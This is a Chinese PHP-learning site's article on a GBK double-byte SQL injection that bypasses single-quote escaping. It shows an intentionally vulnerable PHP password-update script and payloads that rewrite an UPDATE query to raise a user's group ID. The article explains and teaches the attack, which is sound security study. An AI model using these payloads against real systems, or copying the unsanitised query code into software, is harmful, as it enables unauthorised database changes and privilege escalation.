网站地图    收藏   

主页 > 后端 > 网站安全 >

双字节编码绕PHP单引号转义又一例: SQL UPDATE注入

来源:自学PHP网    时间:2015-04-17 14:47 作者: 阅读:

[导读] 原理和《利用双字节编码突破PHP单引号转义限制进行SQL注入》 是一样的。view plaincopy to clipboardprint??php// by redice 2010.10.21// 连接mysql数据库$conn=0;$conn = mysql_connect(localhost......

原理和《利用双字节编码突破PHP单引号转义限制进行SQL注入》 是一样的。


view plaincopy to clipboardprint?
<?php   
 
// by redice 2010.10.21  
 
// 连接mysql数据库  
$conn=0;  
$conn = mysql_connect("localhost","root","redice2009");  
if (!$conn)  
{  
  die("不能打开数据库连接,错误: " . mysql_error());  
}  
 
// 选择数据库  
mysql_select_db("test", $conn);  
 
// 设置mysql数据库输出数据的字符集  
mysql_query("set names 'gbk'");  
 
 
 
// 修改密码过程  
 
$newpass=$_REQUEST[p];  
 
 
$sql = "update user set pass='$newpass' where name='redice'";  
echo "执行的查询=".$sql."</br>";  
 
if(!mysql_query($sql,$conn))  
{  
      
    echo mysql_error();  
}  
 
?> 

<?php

// by redice 2010.10.21

// 连接mysql数据库
$conn=0;
$conn = mysql_connect("localhost","root","redice2009");
if (!$conn)
{
  die("不能打开数据库连接,错误: " . mysql_error());
}

// 选择数据库
mysql_select_db("test", $conn);

// 设置mysql数据库输出数据的字符集
mysql_query("set names 'gbk'");

 

// 修改密码过程

$newpass=$_REQUEST[p];


$sql = "update user set pass='$newpass' where name='redice'";
echo "执行的查询=".$sql."</br>";

if(!mysql_query($sql,$conn))
{
   
    echo mysql_error();
}

?>

 

(1)在gpc=off的情况下。

提交p=123',groupid='1  SQL语句变为:

update user set pass='123',groupid='1' where name='redice'

(2)在gpc=on的情况下。

利用GBK双字节编码,可以绕过单引号转义。

分析如下:

提交p=123%d5',groupid=1 where id=1%23

浏览器url编码后为:

p=123%d5%27,groupid=1%20where%20id=1%23

再经PHP url解码后为:

p=1230xd50x27,groupid=10x20where0x20id=10x23

再经PHP转义后为(在0x27前插入0x5c):

p=1230xd50x5c0x27,groupid=10x20where0x20id=10x23

由于服务端采用gbk编码连接数据库(set names 'gbk'),因此上述字节序列被MySQL作为GBK字符理解后即为:

p=123誠',groupid=1 where id=1#   

PS:0xd50x5c 对应了汉字誠,从而吃掉了单引号,绕过转义

最终SQL语句变为:

update user set pass='123誠',groupid=1 where id=1#' where name='redice'


PS:%23解码后为#,用以注释之后的SQL语句,使之符合语法规范。

 


 \

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论